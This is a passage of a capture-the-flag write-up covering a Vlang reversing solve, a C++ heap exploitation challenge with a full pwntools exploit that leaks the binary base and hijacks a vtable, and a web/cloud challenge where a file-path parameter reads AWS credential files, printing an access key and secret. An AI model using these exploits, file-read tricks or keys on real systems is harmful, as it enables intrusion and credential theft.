b'j\x01d-^`\x17.u(\x11h+\x13Tn%h(\x00?W;~[\x14x\x1cW\x16nv'

In other words, the function checks the input array (src) against the above bytes, and if they are equal passes the array to the decrypt function which should return the flag.

gef➤  b main__compare
gef➤  r

(Over here we will need to interact with the server (by accessing the port). Then we keep sending c (continue) until the debugger reaches our breakpoint.)

gef➤  set {char[33]}{char *}$rdi = "j\001d-^`\x17.u(\x11h+\x13Tn%h(\x00?W;~[\x14x\x1cW\x16nv"
gef➤  x/4gx {char *}$rdi
0x7ffff442a030: 0x2e17605e2d64016a      0x6e54132b68112875
0x7ffff442a040: 0x7e3b573f00286825      0x766e16571c78145b
gef➤  x/s {char *}$rdi
0x7ffff442a030: "j\001d-^`\027.u(\021h+\023Tn%h("
gef➤  c
Continuing.
> Sent data: {"number": "TISC{THIS_IS_NOT_THE_FLAG_00000}"}

We can also see the flag printed on the browser. This is a great confirmation and cuts down a lot of further processing beyond this point. Our goal becomes to reach this function with the argument set to the above string.

Further backtracking, we see that main__compare is only called by main__App_get_4d_number, whose name roughly gives us a clue about what this function does. As mentioned above it is a complicated mess of memmoves but we have no choice but to power through them.

Scrolling a bit further down from the main__comapre call:

if ( v144 == -1 )
{
  memset(v123, 0, 0x50uLL);
  memset(&v120, 0, 0x10uLL);
  v120 = L_5614;
  v121 = 12;
  v122 = 1;
  memmove(v123, &v120, 0x10uLL);
  v124 = 65040;
  memmove(v125, v134, 0x10uLL);
  memset(&v117, 0, 0x10uLL);
  v117 = L_5616;
  v118 = 2;
  v119 = 1;
  memmove(v126, &v117, 0x10uLL);
  v116[0] = str_intp(2LL, v123);
  v116[1] = v42;
  memmove(v129, v116, 0x10uLL);
}
else
{
  memset(v112, 0, 0x50uLL);
  memset(&v109, 0, 0x10uLL);
  v109 = L_5618;
  v110 = 12;
  v111 = 1;
  memmove(v112, &v109, 0x10uLL);
  v113 = 65040;
  memmove(v114, decrypted, 0x10uLL);
  memset(&v106, 0, 0x10uLL);
  v106 = L_5620;
  v107 = 2;
  v108 = 1;
  memmove(v115, &v106, 0x10uLL);
  v105[0] = str_intp(2LL, v112);
  v105[1] = v43;
  memmove(v129, v105, 0x10uLL);
}

v144 is simply the result of the main__compare call; We see that if the result if not -1, then we set the output to decrypted; otherwise most likely it produces the generated 4d number for that current iteration.


Part II

Now, what affects the argument passed into main_compare? We analyse the chunk just above the call:

for ( k = 0; k < v161; ++k )
{
  v205 = &v57;
  memmove(&v57, v160, 0x20uLL);
  v13 = (_BYTE *)array_get(k, (unsigned int)v160, v9, v10, v11, v12, v57, v58, v59, (_DWORD)v60);
  *v13 += 5;
  v205 = &v57;
  memmove(&v57, v160, 0x20uLL);
  v18 = (_BYTE *)array_get(k, (unsigned int)v160, v14, v15, v16, v17, v57, v58, v59, (_DWORD)v60);
  *v18 ^= (_BYTE)k + 1;
  if ( k > 0 )
  {
    v205 = &v57;
    memmove(&v57, v160, 0x20uLL);
    v205 = (void *)array_get(k, (unsigned int)v160, v19, v20, v21, v22, v57, v58, v59, (_DWORD)v60);
    v154 = k - 1;
    v148 = &v57;
    memmove(&v57, v160, 0x20uLL);
    v27 = (_BYTE *)array_get(v154, (unsigned int)v160, v23, v24, v25, v26, v57, v58, v59, (_DWORD)v60);
    *(_BYTE *)v205 ^= *v27;
  }
}
memset(v147, 0, sizeof(v147));
memmove(v147, v174, 0x10uLL);
memset(v146, 0, sizeof(v146));
v205 = &v57;
memmove(&v57, v160, 0x20uLL);
v145[0] = Array_u8_str((int)&v57, (int)v160, v28, v29, v30, v31, v57);
v145[1] = v32;
memmove(v146, v145, 0x10uLL);
map_set(&pass, v147, v146);
v205 = &v57;
memmove(&v57, v160, 0x20uLL);
v144 = main__compare((int)&v57, (int)v160, v33, v34, v35, v36, v57, v58);

Removing all the “unnecessay” fluff:

for ( k = 0; k < v161; ++k )
{
  v13 = (_BYTE *)array_get(k, (unsigned int)v160);
  *v13 += 5;
  v18 = (_BYTE *)array_get(k, (unsigned int)v160);
  *v18 ^= (_BYTE)k + 1;
  if ( k > 0 )
  {
    v205 = (void *)array_get(k, (unsigned int)v160);
    v154 = k - 1;
    v27 = (_BYTE *)array_get(v154, (unsigned int)v160);
    *(_BYTE *)v205 ^= *v27;
  }
}

memmove(&v57, v160, 0x20uLL);
v145[0] = Array_u8_str((int)&v57);

memmove(v147, v174, 0x10uLL);
memmove(v146, v145, 0x10uLL);
map_set(&pass, v147, v146);

memmove(&v57, v160, 0x20uLL);
v144 = main__compare((int)&v57);

Converted to Python:

def churn(inp):
    arr = list(inp[:32])
    for _ in range(5):
        for i in range(32):
            arr[i] = ((arr[i]+5)%256)^(i+1)
            if i != 0:
                arr[i] ^= arr[i-1]
    return bytes(arr)

def churn_rev(inp):
    arr = list(inp[:32])
    for _ in range(5):
        for i in range(32-1, -1, -1):
            if i != 0:
                arr[i] ^= arr[i-1]
            arr[i] = ((arr[i]^(i+1))-5)%256
        print(bytes(arr))
    return bytes(arr)

churn_rev(flag)
b'fdaHq3k,MR-pI1C%UZN7%yvX7PrsQZb3'
b'b\xfb\x01(7?ZJc\x10oL/qxq\\\x18\x02h\x02E\x131qx4\x18:\x10"l'
b'^\x96\xf4(\x15\t]\x13\x1bto*iK\x01\x147Q\x04yzL<5T\x0eR+:/(i'
b"Z\xc5\\\xd33\x15NA\xfc`\x0bDI'@\x00-oAd\x11\x1bb\x0cs;B`\x07\x06\x13\\"
b'V\x98\x95\x86\xe0\x1bW\x02\xaf\x91[>\xfb[cK7K8,[\x17iqaM]9u\x1a\x05j'

Very quickly we notice an ASCII printable string fdaHq3k,MR-pI1C%UZN7%yvX7PrsQZb3, which could potentially indicate something. Anyhow, if our arr is set to any of the strings above before reaching churn, we would be able to derive the flag in one of the 5 runs available.

Sandwiched in the middle of the previous snippet we see an interesting map_set call which seems to hint that there is a Map involved (which perhaps helps to save the input somewhere). We can attempt to find the corresponding map_get, but it is clearer to show the bigger picture, just by scrolling up a bit more:

v205 = v207;
memset(v178, 0, sizeof(v178));
v178[0] = (__int64)L_5606;
v178[1] = 0x100000002LL;
vweb__Context_get_cookie(v179, v205, L_5606, 0x100000002LL);
memmove(v180, v179, 0x38uLL);
if ( v180[0] )
{
  memmove(v177, v181, 0x20uLL);
  v205 = v207;
  v175[0] = vweb__Context_server_error(v207, 501LL);
  memmove(&v176, v175, 1uLL);
  return v176;
}
else
{
  memmove(v174, v182, 0x10uLL);
  memset(v172, 0, sizeof(v172));
  memmove(v172, &pass, 0x78uLL);
  memset(v171, 0, sizeof(v171));
  memmove(v171, v174, 0x10uLL);
  v173 = (void *)map_get_check(v172, v171);
  memset(v168, 0, 0x38uLL);
  if ( v173 )
  {
    v205 = v173;
    memmove(v170, v173, 0x10uLL);
  }
  else
  {
    v168[0] = 2;
    memset(v166, 0, sizeof(v166));
    v166[0] = (__int64)L_5608;
    v166[1] = 0x100000018LL;
    v_error(v167, L_5608, 0x100000018LL);
    memmove(v169, v167, 0x20uLL);
  }
  if ( v168[0] )
  {
    memmove(v165, v169, 0x20uLL);
    v205 = v207;
    v163[0] = vweb__Context_server_error(v207, 501LL);
    memmove(&v164, v163, 1uLL);
    return v164;
  }
  else
  {
    memmove(v162, v170, 0x10uLL);
    string_bytes(v159, v162[0], v162[1]);
    memmove(v160, v159, 0x20uLL);
    for ( i = 0; i < 5; ++i )
    {
        // ...
    }
    // ...
  }
  // ...
}

Again removing the fluff:

v205 = v207; // first parameter of function
memset(v178, 0, sizeof(v178));
v178[0] = (__int64)L_5606; // 'id'
v178[1] = 0x100000002LL;
vweb__Context_get_cookie(v179, v205, L_5606, 0x100000002LL);
memmove(v180, v179, 0x38uLL); // assert v180[0] == 0

memmove(v172, &pass, 0x78uLL);
memmove(v174, v182, 0x10uLL);
memmove(v171, v174, 0x10uLL);
v173 = (void *)map_get_check(v172, v171); // assert != 0

memmove(v170, v173, 0x10uLL);
memmove(v162, v170, 0x10uLL);
string_bytes(v159, v162[0], v162[1]);
memmove(v160, v159, 0x20uLL); // v160 is our arr

for ( i = 0; i < 5; ++i )
{
  // ...
  v144 = main__compare(...);
  // ...
}

You might be wondering, where is v182 referenced? The answer lies in the sneaky memset just above:

vweb__Context_get_cookie(v179, v205, L_5606, 0x100000002LL); // result saved to v179
memmove(v180, v179, 0x38uLL); // v179 copied over to v180

If we look at the underlying stack structure:

char v179[56]; // [rsp+6F0h] [rbp-200h] BYREF
char v180[8]; // [rsp+728h] [rbp-1C8h] BYREF
char v181[32]; // [rsp+730h] [rbp-1C0h] BYREF
char v182[16]; // [rsp+750h] [rbp-1A0h] BYREF

We can guess that v180 is probably some sort of struct, where the cookie string is located at v182 i.e. offset 40 of v180.

Speaking of cookie, indeed if we look into our browser, we can find a cookie named id which contains some sort of UUID. Unfortunately we cannot simply modify the cookie from the browser, as we only get a newly created one after refreshing the browser, which makes sense, as the line

v173 = (void *)map_get_check(v172, v171); // assert != 0

would fail.

We also notice that the id doesn’t seem to change even after refreshing, and we can leverage this if we can find a way to add an entry to pass Map with a value of for example fdaHq3k,MR-pI1C%UZN7%yvX7PrsQZb3.


Part III

This part took a bit of digging during my actual solve, but the idea is that we want to find a function that hopefully is able to set the current id entry of the Map. To do this, we look at the references to map_set, and we quickly notice a suspicious function main__App_handle_inpt, despite there being no obvious direct input from the frontend.

Comparing to main__App_get_4d_number, the function also takes in additional parameters, which is used in the map_set call, giving us pretty high confidence that the function is what we are looking for:

char src[56]; // [rsp+268h] [rbp-88h] BYREF
char dest[8]; // [rsp+2A0h] [rbp-50h] BYREF
char v46[32]; // [rsp+2A8h] [rbp-48h] BYREF
char v47[16]; // [rsp+2C8h] [rbp-28h] BYREF
__int64 v48[2]; // [rsp+2D8h] [rbp-18h] BYREF
// ...
v48[0] = a2;
v48[1] = a3;
// ...
vweb__Context_get_cookie(src, a1, L_5634, 0x100000002LL);
memmove(dest, src, 0x38uLL);
// ...
memmove(v37, v47, 0x10uLL); // same pattern as before
// ...
memset(v21, 0, sizeof(v21));
memmove(v21, v37, 0x10uLL);
memset(v20, 0, sizeof(v20));
memmove(v20, v48, 0x10uLL);
map_set((__int64)&pass, (__int64)v21, (__int64)v20, a4)

The main__App_ prefix hints that the function is one of the possible functions that can be routed to; we just need to find out how to route to it. We can find hints in the strings stored in the binary:

.data.ro:0000000000860EC2 L_5217          db 'index',0            ; DATA XREF: vweb__generate_routes_T_main__App+E4↑o
.data.ro:0000000000860EC8 L_5219          db 'error parsing method attributes: ',0
.data.ro:0000000000860EC8                                         ; DATA XREF: vweb__generate_routes_T_main__App+362↑o
.data.ro:0000000000860EEA L_5221          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+460↑o
.data.ro:0000000000860EEB L_5222          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+74B↑o
.data.ro:0000000000860EEC L_5223          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+7B9↑o
.data.ro:0000000000860EED L_5224          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+827↑o
.data.ro:0000000000860EEE L_5225          db 'get_4d_number',0    ; DATA XREF: vweb__generate_routes_T_main__App+9E4↑o
.data.ro:0000000000860EFC L_5227          db 'error parsing method attributes: ',0
.data.ro:0000000000860EFC                                         ; DATA XREF: vweb__generate_routes_T_main__App+C62↑o
.data.ro:0000000000860F1E L_5229          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+D60↑o
.data.ro:0000000000860F1F L_5230          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+104B↑o
.data.ro:0000000000860F20 L_5231          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+10B9↑o
.data.ro:0000000000860F21 L_5232          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+1127↑o
.data.ro:0000000000860F22 L_5233          db 'handle_inpt',0      ; DATA XREF: vweb__generate_routes_T_main__App+12E4↑o
.data.ro:0000000000860F2E L_5235          db '/:inpt',0           ; DATA XREF: vweb__generate_routes_T_main__App+1389↑o
.data.ro:0000000000860F35 L_5237          db 'post',0             ; DATA XREF: vweb__generate_routes_T_main__App+1402↑o
.data.ro:0000000000860F3A L_5239          db 'inpt',0             ; DATA XREF: vweb__generate_routes_T_main__App+1512↑o
.data.ro:0000000000860F3F L_5241          db 'error parsing method attributes: ',0
.data.ro:0000000000860F3F                                         ; DATA XREF: vweb__generate_routes_T_main__App+172A↑o
.data.ro:0000000000860F61 L_5243          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+1828↑o
.data.ro:0000000000860F62 L_5244          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+1B13↑o
.data.ro:0000000000860F63 L_5245          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+1B81↑o
.data.ro:0000000000860F64 L_5246          db    0                 ; DATA XREF: vweb__generate_routes_T_main__App+1BEF↑o

Whereas / and get_4d_number are pretty straightforward, we see that handle_inpt seems to be a POST routing, and the required input seems to be located in the URL itself (/:inpt). We can also quickly verify the syntax against the online Vweb documentation.

Anyhow, this tells us that setting the value of the current id is as simple as sending a POST request to /<string>, which we can very easily accomplish via the browser JavaScript console (not forgetting URL encoding).

fetch("/fdaHq3k%2CMR-pI1C%25UZN7%25yvX7PrsQZb3", {method: "POST"});

And upon refreshing, we can see the flag in our terminal / browser.

> Sent data: {"number": "TISC{THIS_IS_NOT_THE_FLAG_00000}"}
> Sent data: {"number": "5169"}
> Sent data: {"number": "7066"}
> Sent data: {"number": "7902"}
> Sent data: {"number": "7428"}

Thus we simply need to perform the same process on the remote server, and we should get our flag.

  1. Launch the page, making sure the 5 numbers are printed and there is an id cookie
  2. Send a POST request similar to above (but to remote server)
  3. Refresh the page

And we get the flag!

TISC{Vlang_R3v3rs3_3ng1n333r1ng}

[7b] The Library

Category: pwn

Description:

In a place filled with palindromes everywhere, find the hidden palindrome code with the right configuration.


Part I

Upon running the binary, we are greeted with a text-based prompt:

   ____________________________________________________
  |____________________________________________________|
  | __     __   ____   ___ ||  ____    ____     _  __  |
  ||  |__ |--|_| || |_|   |||_|**|*|__|+|+||___| ||  | |
  ||==|^^||--| |=||=| |=*=||| |~~|~|  |=|=|| | |~||==| |
  ||  |##||  | | || | |JRO|||-|  | |==|+|+||-|-|~||__| |
  ||__|__||__|_|_||_|_|___|||_|__|_|__|_|_||_|_|_||__|_|
  ||_______________________||__________________________|
  | _____________________  ||      __   __  _  __    _ |
  ||=|=|=|=|=|=|=|=|=|=|=| __..\/ |  |_|  ||#||==|  / /|
  || | | | | | | | | | | |/\ \  \|++|=|  || ||==| / / |
  ||_|_|_|_|_|_|_|_|_|_|_/_/\_.___\__|_|__||_||__|/_/__|
  |____________________ /\~()/()~//\ __________________|
  | __   __    _  _     \_  (_ .  _/ _    ___     _____|
  ||~~|_|..|__| || |_ _   \ //\ /  |=|__|~|~|___| | | |
  ||--|+|^^|==|1||2| | |__/\ __ /\__| |==|x|x|+|+|=|=|=|
  ||__|_|__|__|_||_|_| /  \ \  / /  \_|__|_|_|_|_|_|_|_|
  |_________________ _/    \/\/\/    \_ _______________|
  | _____   _   __  |/      \../      \|  __   __   ___|
  ||_____|_| |_|##|_||   |   \/ __|   ||_|==|_|++|_|-|||
  ||______||=|#|--| |\   \   o    /   /| |  |~|  | | |||
  ||______||_|_|__|_|_\   \  o   /   /_|_|__|_|__|_|_|||
  |_________ __________\___\____/___/___________ ______|
  |__    _  /    ________     ______           /| _ _ _|
  |\ \  |=|/   //    /| //   /  /  / |        / ||%|%|%|
  | \/\ |*/  .//____//.//   /__/__/ (_)      /  ||=|=|=|
__|  \/\|/   /(____|/ //                    /  /||~|~|~|__
  |___\_/   /________//   ________         /  / ||_|_|_|
  |___ /   (|________/   |\_______\       /  /| |______|
      /                  \|________)     /  / | |

           Welcome to the Library Planning App
      Please provide a name and motto for your library

[Name & Motto] Please provide a name and motto for your library
[Name & Motto] Please enter the name of your library (limited to 16 characters):
[Name & Motto] The following are your chosen name and motto
  [Name]: a
  [Motto]: b
                 What would you like to do?
============================================================
=                    LIBRARY APP MENU                      =
= 1. Edit Name & Motto                                     =
= 2. Book Shelf Layout                                     =
= 3. Newspapers Stand Layout                               =
= 4. CD/DVD Stand Layout                                   =
= 5. Brochures Stand Layout                                =
= 6. Menu                                                  =
= 7. Exit                                                  =
============================================================
[Library App Main] Enter your choice:

This begins to look like a classic pwn challenge. Unfortunately one caveat is that upon decompiling the binary we realise that it is made using C++, increasing the difficulty (and also meaning that the vulnerability is unlikely to originate from trivial input mishandling).

An annoying thing about this challenge is that there are submenus upon submenus, forcing us to analyse 1 by 1 if we want to gain a comprehensive understanding of how the binary works to find vulnerabilities.

While analysing the binary, we also notice that the win function is indeed provided, resolving a lot of headaches. In particular, this program uses a lot of vtables, which roughly indicate that our goal will be to hijack one of the vtable entries and call the corresponding entry afterwards.

The program also uses a lot of structs. After tediously renaming most of the functions, I also figured out the structs that are used in the program.

structs

As a rough introduction, this program revolves around 4 “item containers”:

  • Bookshelf
  • Newsstand
  • CDStand
  • Brocstand

For each “item container”, you can create (added to a linked list), remove, and edit the layout (edit properties and modify the items in the item container). For the editing sub-functions, where each item container has a different list of sub-functions the program uses a central function to jump to the required sub-function via the corresponding vtable.

The global variables of interest (in memory order) are:

char items[0x50000];
char buf[0x25000];
char *cur_name;
char *container_ll[4]; // for each of the 4 containers
char *container_vtable[4];
char *items_end;
uint num_containers[4];

buf is a “heap at home”, where chunks have fixed sizes (way larger than any of the structs stored inside), and finding an unallocated chunk is as simple as running rand() multiple times until one is found.

items is a linear buffer which seems to (as far as I know) never decrease in size, meaning that once a chunk of buffer has been allocated it can never be reclaimed.

In terms of usage, items is used for the individual item objects within the containers, while buf is used for everything else name/motto, container objects and vtable entries.


Part II

Note: This part simply describes my actual solve process, and may not necessarily be fully utilised in the final solve.

Scanning through the functions, we notice a point of weakness (will be showing bookshelf_remove but similar weaknesses exist in other functions):

if ( num_bookshelves )
{
  // ...
  v10 = get_bookshelf(i);
  v9 = &v10->fd;
  v8 = &v10->bk;
  v7 = (__int64 *)v10->bk;
  v6 = (__int64 *)(v10->fd + 8);
  if ( &v10->fd == (__int64 *)v10->fd )
  {
    *v7 = *v8;
  }
  else if ( v7 == v9 )
  {
    bookshelf_ll = get_bookshelf(i + 1);
    *v6 = *v9;
  }
  else
  {
    *v7 = *v9;
    *v6 = *v8;
  }
  v10->free = 1;
  return (unsigned int)--num_bookshelves;
}

The removal of an item container from buf does 2 things:

  • Remove pointer from corresponding linked list
  • Set free to 1 (available to be picked up by “allocator”)

Crucially, the struct data remains in buf and is not properly dealt with or cleared! This would not have been a problem if the respective add functions clear / initialise the struct fields properly (which is observed in most of the functions), but there is one point of vulnerability available to be leveraged, within the CDStand implementation:

__int64 cdstand_add()
{
  // ...
    *(_DWORD *)cur->items[0] = 0;
    *(_DWORD *)(cur->items[0] + 8) = 5;
  // ...
}
int *__fastcall cdstand_item_add(int a1)
{
  cur = (CDStand_Row *)get_cdstand_row(cdstand);
  if ( cur )
  {
    // ...
  }
}
__int64 __fastcall get_cdstand_row(CDStand *a1)
{
  // ...
    switch ( (unsigned int)get_number() )
    {
      case 1u:
        result = a1->items[0];
        break;
      case 2u:
        result = a1->items[1];
        break;
      case 3u:
        result = a1->items[2];
        break;
      case 4u:
        result = a1->items[3];
        break;
      case 5u:
        result = a1->items[4];
        break;
      default:
        // ...
        continue;
    }
  // ...
}

For CDStand creation, only the first row is initialised to a new item in items; the other rows are expected to follow from the first row and only saved to the struct when specifically created. The get_cdstand_row function also does not have proper bounds and only cares whether the pointer is not null, which means that we can practically make it point anywhere else if given the opportunity. And indeed we can:

cdstand-struct-exploit

Now theoretically, we can possibly abuse this to write to a vtable entry, but that seems pretty tedious and difficult. Instead, we can search a bit deeper to uncover more interesting vulnerabilities.


Part III

The chunk allocation is described in the next_idx function:

__int64 next_idx()
{
  __int64 v0; // rax
  unsigned int v2; // eax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 0x24F )
    {
      // ...
      return 0xFFFFFFFFLL;
    }
    v2 = rand();
    if ( *((_DWORD *)buf + 64 * (v2 % 0x250)) == 1 )
      break;
  }
  return (v2 % 0x250) << 8;
}

In order to force a specific “overwrite” within buf (as described in Part II above), we have to abuse the allocator. The idea is to use up all allocations, free the target struct, then create a new one such that next_idx is forced to land on the target struct location, overwriting it.

However, looking at the implementation (and surrounding code that call the function), we quickly realise another critical vulnerability (again using bookshelf_add as an example):

idx = next_idx();
cur = (Bookshelf *)((char *)buf + idx);

We think to ourselves, what happens when all allocations on buf are used up? The function keeps attempting to find a random available index until the maximum iterations, at which point it gives up and returns -1 possibly indicating failure.

However, when the function is actually being called, the -1 case is not actually being properly dealt with. When this happens, the code literally takes -1 as the offset to a “new” allocation, placing the struct at a fixed location without checking, and thus allows for multiple structs to overlap without having to free them.

One complication regarding the vtable is that it is only initialised once, before the creation of the corresponding struct. This means that when the vtable is forced to -1, the corresponding struct will also be written to -1, overlapping with and overwriting the vtable in the process, making it difficult to figure out the ELF offset. Thus the choice of the item container matters a lot in this case, and the most suitable one would be CDStand, with the following layout:

cdstand-vtable-overlap

Thus eyeing the vtable, we will now need to find a suitable struct with a freely editable field such that we can overwrite a vtable entry to point to win.


Part IV

This part took me a while, as I found it surprisingly difficult to freely write to the fields stored in buf using the item containers, until I remembered about another special struct also stored there:

__int64 __fastcall set_name(int init)
{
  // ...
  idx = 0;
  // ...
  // init = 0 when called from the main menu
  if ( init || (*(_DWORD *)cur_name = 1, idx = next_idx(), idx != -1) )
  {
    cur_name = (char *)buf + idx;
    *(_DWORD *)((char *)buf + idx) = 0;
    // ...
  }
  // ...
}

For the initial call (before reaching the main menu), cur_name is stored at offset 0 of buf. For all subsequent calls with a fully allocated buf,

  1. init = 0, so the right side of the || is taken
  2. The current cur_name is freed
  3. next_idx is called, which is almost guaranteed to land on the offset 0 that was just freed

While the cur_name allocation is not exactly located at offset -1, they are practically the same. Again the contents on buf are not cleared which allows us to read off the vtable by inputting a blank name / motto. It also allows us to almost freely write to the vtable. The current layout is as shown below:

name-vtable-overlap

We have now completed our setup, and now all we have to do is to write the address of win to the vtable. Here is the full exploit:

from pwn import *

e = context.binary = ELF('./TheLibrary.elf')
p = e.process() if not args.REMOTE else remote('[REDACTED]', -1)

OFFSET = 0x66b6
WIN = 0x8054

p.sendline(b'') # name
p.sendline(b'') # motto

# use up all allocations
p.sendline(b'5') # brocstand layout
for _ in range(0x300):
    p.sendline(b'1') # add brocstand
    p.sendline(b'')
    p.recvuntil(b'Enter your option:')
    print(p.recvuntil(b'['))
pause()

# all allocations used up, next alloc forced to offset -1
# cdstand vtable, cdstand struct and name all in same location
p.sendline(b'5') # back to library
p.sendline(b'4') # cdstand layout
p.sendline(b'1') # add cdstand
p.sendline(b'5') # back to library

# use name to read vtable function
p.sendline(b'1') # set name
p.sendline(b'') # name
p.clean()
p.sendline(b'') # motto

# pie leak
p.recvuntil(b' [Motto]: ')
leak = u64(p.recvline()[8-2+8:8-2:-1])
print('Leak:', hex(leak))
e.address = leak - OFFSET
print('ELF :', hex(e.address))

# patch over last function in vtable
p.sendline(b'1') # set name
p.sendline(b'') # name
p.sendline(b'\x00'*(8-1) + p64(e.address + WIN)[::-1]) # motto

# call last function (win)
p.sendline(b'4') # cdstand layout
p.sendline(b'2') # edit cdstand
p.sendline(b'1') # index 1
p.sendline(b'5') # function 5

p.interactive()

(Note: The script above does not work all the time, but it should work often enough.)

TISC{fr3e-FrE3-l3t_mE_fReEe3!!}

[8] Blind SQL Injection

Category: cloud / rev / pwn / web

Description:

As part of the anti-PALINDROME task force, you find yourself face to face with another task.

“We found this horribly made website on their web servers,” your superior tells you. “It’s probably just a trivial SQL injection vulnerability to extract the admin password. I’m expecting this to be done in about an hour.”

You ready your fingers on the keyboard, confident that you’ll be able to deliver.


Part I

The server is a relatively simple script. It contains some interesting comments to attract our attention:

AWS.config.getCredentials((err) => {
    if (err) console.log(err.stack);
    // TODO: Add more comments here
    else {
        console.log("Access key:", AWS.config.credentials.accessKeyId);
        console.log("Region:", AWS.config.region);
    }
});
app.post('/api/login', (req, res) => {
    // pk> Note: added URL decoding so people can use a wider range of characters for their username :)
    // dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.

    const username = req.body.username;
    const password = req.body.password;
    if (!username || !password) {
        // ...
    }

    const payload = JSON.stringify({
        username,
        password
    });

    try {
        lambda.invoke({
            FunctionName: 'craft_query',
            Payload: payload
        }, (err, data) => {
            // ...
        }
    }
}

As hinted in the challenge description, this challenge is about SQL injection but with extra stpes. The SQL query crafting logic is done in AWS Lambda, which can only be accessed with the right credentials (accessKeyId and region). Of course we will need to get our hands on them.

Scanning through the other functions that handle routing we immediately find something suspicious:

app.post('/api/submit-reminder', (req, res) => {
    const username = req.body.username;
    const reminder = req.body.reminder;
    const viewType = req.body.viewType;
    res.send(pug.renderFile(viewType, { username, reminder }));
});

renderFile, a function that deals with the server filesystem, can easily be tampered however we desire by crafting our own POST request (or more simply by editing the viewType input value). We can see what happens when we set it to where we would expect the AWS credentials file to be located at (/root/.aws/credentials):

Error: /root/.aws/credentials:1:1
  > 1| [default]
-------^
    2| aws_access_key_id = AKIAQYDFBGMSQ542KJ5Z
    3| aws_secret_access_key = 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

From this we have easily stolen accessKeyId. The region in turn can be found in the config file:

Error: /root/.aws/config:1:1
  > 1| [default]
-------^
    2| region = ap-southeast-1
    3| 

Using these, we can access the AWS Lambda console to extract the function source. To do this, we create our own config and credentials files and use the get-function command from AWS Lambda CLI:

$ mkdir ~/.aws
$ cd ~/.aws
$ touch credentials config
$ vim credentials
$ vim config
$ get-function --function-name craft_query
{
    "Configuration": {
        "FunctionName": "craft_query",
        "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:craft_query",
        "Runtime": "nodejs18.x",
        "Role": "arn:aws:iam::051751498533:role/tisc23_ctf_sg-prod20230727104447843500000001",
        "Handler": "index.handler",
        "CodeSize": 27109,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2023-10-01T10:53:16.000+0000",
        "CodeSha256": "TUzKimM9d5GavjF4ZARnrmzYL1zUQO97X2Ld+X69lm0=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "12d812c6-2d4c-461c-b1a8-e61e5fc0863b",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:ap-southeast-1::runtime:0bdff101a7b4e0589af824f244deb93200e4663c2a8d7d0148b76cd00c48777a"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "[REDACTED]"
    },
    "Tags": {
        "Project": "tisc23.ctf.sg",
        "Owner": "kennethtan",
        "ProvisionedBy": "terraform",
        "Region": "ap-southeast-1",
        "Env": "prod"
    }
}

We can then follow the link to download the function source.


Part II

Quite immediately we can see that the function involves some WebAssembly, which makes the process more troublesome than initially expected. Running the file through a generic WebAssembly disassembler helps initially in figuring out how the outermost functions work, but that quickly descends into chaos.

Fortunately, I came across a Ghidra plugin that deals with WebAssembly, making life much easier. (On hindsight, this was not required as we only needed to know how the outermost functions worked, but well this works too.)

Nonetheless, the .wat disassembly still helps in gathering the big picture idea that we might miss out by simply plugging Ghidra. For example, scrolling down to the bottom of the file:

(table (;0;) 6 6 funcref)
(memory (;0;) 256 256)
(global (;0;) (mut i32) (i32.const 65536))
(global (;1;) (mut i32) (i32.const 0))
(global (;2;) (mut i32) (i32.const 0))
(global (;3;) (mut i32) (i32.const 0))
(export "memory" (memory 0))
(export "__wasm_call_ctors" (func 1))
(export "load_query" (func 6))
(export "is_blacklisted" (func 8))
(export "craft_query" (func 9))
(export "__indirect_function_table" (table 0))
(export "__errno_location" (func 16))
(export "fflush" (func 62))
(export "emscripten_stack_init" (func 54))
(export "emscripten_stack_get_free" (func 55))
(export "emscripten_stack_get_base" (func 56))
(export "emscripten_stack_get_end" (func 57))
(export "stackSave" (func 58))
(export "stackRestore" (func 59))
(export "stackAlloc" (func 60))
(export "emscripten_stack_get_current" (func 61))
(elem (;0;) (i32.const 1) func 8 6 40 41 44)
